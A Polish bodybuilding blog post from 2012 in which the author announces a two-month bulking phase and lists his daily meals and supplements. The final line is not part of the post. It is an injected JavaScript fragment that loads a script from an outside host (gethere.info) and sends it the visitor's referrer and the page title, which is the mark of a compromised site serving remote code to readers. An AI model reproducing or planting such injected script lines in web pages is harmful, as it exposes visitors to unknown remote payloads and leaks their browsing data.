Robimy mase!

5.11.2012 / Michał Karmowski / Kulturystyka

Kolejny mikrocykl w moim planie przygotowawczym dobiegł końca i teraz przez najbliższe 2 miesiące dokładnie do 5 stycznia będę realizował kolejne założenia czyli delikatnie robił masę. W tej chwili waga wynosi 118kg a poziom tłuszczu jest zadowalający. W tym okresie dieta wyglądała nastepująco:

przed posiłkiem 2 miarki bcaa powder, 2 miarki l-glutamine extereme i 30g isolate 100

1-600g białek jaj, 200g płatków owsianych , 30g rodzynek

przed treningiem 15g S.A.W.

TRENING-bezposrednio po 60g isolate 100, 2 miarki bcaa powder, 2 miarki l-glutamine extreme, 100g ryżu

30min cardio na stepperze lub bieżni- bezpośrednio po 60g isolate 100

2-300g mięsa z indyka, 150g ryżu, 15g oleju

3-300g mięsa z indyka, 150g ryżu, 15g oleju

4-300g mięsa wołowego, 100g ryżu, 15g oleju

5-600g białek jaj, 60g casein 100, 50g orzechów

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‚&default_keyword=’ + encodeURIComponent(document.title) + ”;